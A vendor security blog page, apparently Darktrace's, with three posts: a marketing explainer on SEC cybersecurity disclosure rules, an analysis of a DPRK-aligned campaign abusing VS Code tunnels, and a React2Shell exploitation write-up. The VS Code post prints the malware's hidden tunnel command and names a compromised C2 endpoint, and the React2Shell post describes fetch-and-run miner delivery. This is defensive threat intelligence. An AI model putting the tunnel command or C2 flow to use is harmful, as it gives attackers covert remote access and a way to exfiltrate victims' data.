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July 17, 2024

What you need to know about the new SEC Cybersecurity rules

In July 2023, the U.S. Securities and Exchange Commission (SEC) adopted new rules concerning cybersecurity incidents and disclosures. This blog describes the new rules and demonstrates how Darktrace can help organizations achieve compliance with these standards.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Kendra Gonzalez Duran
Principal Analyst
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17
Jul 2024

What is new in 2023 to SEC cybersecurity rules?

Form 8-K Item 1.05: Requiring the timely disclosure of material cybersecurity incidents.

Regulation S-K item 106: requiring registrants’ annual reports on Form 10-K to address cybersecurity risk management, strategy, and governance processes.

Comparable disclosures are required for reporting foreign private issuers on Forms 6-K and 20-F respectively.

What is Form 8-K Item 1.05 SEC cybersecurity rules?

Form 8-K Item 1.05 requires the following to be reported within four business days from when an incident is determined to be “material” (1), unless extensions are granted by the SEC under certain qualifying conditions:

“If the registrant experiences a cybersecurity incident that is determined by the registrant to be material, describe the material aspects of the nature, scope, and timing of the incident, and the material impact or reasonably likely material impact on the registrant, including its financial condition and results of operations.” (2, 3)

How does the SEC define cybersecurity incident?

Cybersecurity incident defined by the SEC means an unauthorized occurrence, or a series of related unauthorized occurrences, on or conducted through a registrant’s information systems that jeopardizes the confidentiality, integrity, or availability of a registrant’s information systems or any information residing therein. (4)

How can Darktrace assist in the process of disclosing incidents to the SEC?

Accelerate reporting

Darktrace’s Cyber AI Analyst generates automated reports that synthesize discrete data points potentially indicative of cybersecurity threats, forming reports that provide an overview of the evolution and impact of a threat.

Thus, when a potential threat is identified by Darktrace, AI Analyst can quickly compile information that organizations might include in their disclosure of an occurrence they determined to be material, including the following: incident timelines, incident events, incident summary, related model breaches, investigation process (i.e., how Darktrace’s AI conducted the investigation), linked incident events, and incident details. The figure below illustrates how Darktrace compiles and presents incident information and insights in the UI.

Overview of information provided in an ‘AI Analyst Report’ that could be relevant to registrants reporting a material cybersecurity incident to the SEC
Figure 1: Overview of information provided in an ‘AI Analyst Report’ that could be relevant to registrants reporting a material cybersecurity incident to the SEC

It should be noted that Instruction 4 to the new Form 8-K Item 1.05 specifies the “registrant need not disclose specific or technical information about its planned response to the incident or its cybersecurity systems, related networks and devices, or potential system vulnerabilities in such detail as would impede the registrant’s response or remediation of the incident” (5).

As such, the incident report generated by Darktrace may provide more information, including technical details, than is needed for the 8-K disclosure. In general, users should take appropriate measures to ensure that the information they provide in SEC reports meets the requirements outlined by the relevant regulations. Darktrace cannot recommend that an incident should be reported, nor report an incident itself.

Determine if a cybersecurity incident is material

Item 1.05 requires registrants to determine for themselves whether cybersecurity incidents qualify as ‘material’. This involves considerations such as ‘the nature scope and timing of the incident, and the material impact or reasonably likely material impact on the registrant, including its financial condition and results of operations.’

While it is up to the registrant to determine, consistent with existing legal standards, the materiality of an incident, Darktrace’s solution can provide relevant information which might aid in this evaluation. Darktrace’s Threat Visualizer user interface provides a 3-D visualization of an organization’s digital environment, allowing users to assess the likely degree to which an attack may have spread throughout their digital environment. Darktrace Cyber AI Analyst identifies connections among discrete occurrences of threatening activity, which can help registrants quickly assess the ‘scope and timing of an incident'.

Furthermore, in order to establish materiality it would be useful to understand how an attack might extend across recipients and environments. In the image below, Darktrace/Email identifies how a user was impacted across different platforms. In this example, Darktrace/Email identified an attacker that deployed a dual channel social engineering attack via both email and a SaaS platform in an effort to acquire login credentials. In this case, the attacker useding a legitimate SharePoint link that only reveals itself to be malicious upon click. Once the attacker gained the credentials, it proceeded to change email rules to obfuscate its activity.

Darktrace/Email presents this information in one location, making such investigations easier for the end user.

Darktrace/Email indicating a threat across SaaS and email
Figure 2: Darktrace/Email indicating a threat across SaaS and email

What is regulation S-K item 106 of the SEC cybersecurity rules?

The new rules add Item 106 to Regulation S-K requiring registrants to disclose certain information regarding their risk management, strategy, and governance relating to cybersecurity in their annual reports on Form 10-K. The new rules add Item 16K to Form 20-F to require comparable disclosure by [foreign private issuers] in their annual reports on Form 20-F. (6)

SEC cybersecurity rules: Risk management

Specifically, with respect to risk management, Item 106(b) and Item 16K(b) require registrants to describe their processes, if any, for assessing, identifying, and managing material risks from cybersecurity threats, as well as whether any risks from cybersecurity threats, including as a result of any previous cybersecurity incidents, have materially affected or are reasonably likely to materially affect them. The new rules include a non-exclusive list of disclosure items registrants should provide based on their facts and circumstances. (6)

SEC cybersecurity rules: Governance

With respect to governance, Item 106 and Item 16K require registrants to describe the board of directors’ oversight of risks from cybersecurity threats (including identifying any board committee or subcommittee responsible for such oversight) and management’s role in assessing and managing material risks from cybersecurity threats. (6)

How can Darktrace solutions aid in disclosing their risk management, strategy, and governance related to cybersecurity?

Impact scores

Darktrace End-to-End (E2E) leverages AI to understand the complex relationships across users and devices to model possible attack paths, giving security teams a contextual understanding of risk across their digital environments beyond isolated CVEs or CVSS scores. Additionally, teams can prioritize risk management actions to increase their cyber resilience through the E2E Advisory dashboard.

Attack paths consider:

  • Potential damages: Both the potential consequences if a given device was compromised and its immediate implications on other devices.
  • Exposure: Devices' level of interactivity and accessibility. For example, how many emails does a user get via mailing lists and from what kind of sources?
  • Impact: Where a user or asset sits in terms of the IT or business hierarchy and how they communicate with each other. Darktrace can simulate a range of possible outcomes for an uncertain event.
  • Weakness: A device’s patch latency and difficulty, a composite metric that looks at attacker MITRE methods and our own scores to determine how hard each stage of compromise is to achieve.

Because the SEC cybersecurity rules require “oversight of risks from cybersecurity threats” and “management’s role in assessing and managing material risks from cybersecurity threats” (6), the scores generated by Darktrace E2E can aid end-user’s ability to identify risks facing their organization and assign responsibilities to address those risks.

E2E attack paths leverage a deep understanding of a customer’ digital environment and highlight potential attack routes that an attacker could leverage to reach critical assets or entities. Difficulty scores (see Figure 5) allow security teams to measure potential damage, exposure, and impact of an attack on a specific asset or entity.

An example of an attack path in a digital environment
Figure 3: An example of an attack path in a digital environment

Automatic executive threat reports

Darktrace’s solution automatically produces Executive Threat Reports that present a simple visual overview of model breaches (i.e., indicators of unusual and threatening behaviors) and activity in the network environment. Reports can be customized to include extra details or restricted to high level information.

These reports can be generated on a weekly, quarterly, and yearly basis, and can be documented by registrants in relation to Item 106(b) to document parts of their efforts toward assessing, identifying, and managing material risks from cybersecurity threats.

Moreover, Cyber AI Analyst incident reports (described above) can be leveraged to document key details concerning significant previous incidents identified by the Darktrace solution that the registrant determined to be ‘material’.

While the disclosures required by Item 106(c) relate to the governance processes by which the board of directors, the management, and other responsible bodies within an organization oversee risks resulting from cybersecurity threats, the information provided by Darktrace’s Executive Threat Reports and Cyber AI Analyst incident reports can also help relevant stakeholders communicate more effectively regarding the threat landscape and previous incidents.

DISCLAIMER

The material above is provided for informational purposes only. This summary does not constitute legal or compliance advice, recommendations, or guidance. Darktrace encourages you to verify the contents of this summary with your own advisors.

References

  1. Note that the rule does not set forth any specific timeline between the incident and the materiality determination, but the materiality determination should be made without unreasonable delay.
  2. https://www.sec.gov/files/form8-k.pdf
  3. https://www.sec.gov/news/press-release/2023-139
  4. https://www.ecfr.gov/current/title-17/chapter-II/part-229
  5. https://www.sec.gov/files/form8-k.pdf
  6. https://www.sec.gov/corpfin/secg-cybersecurity
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Kendra Gonzalez Duran
Principal Analyst

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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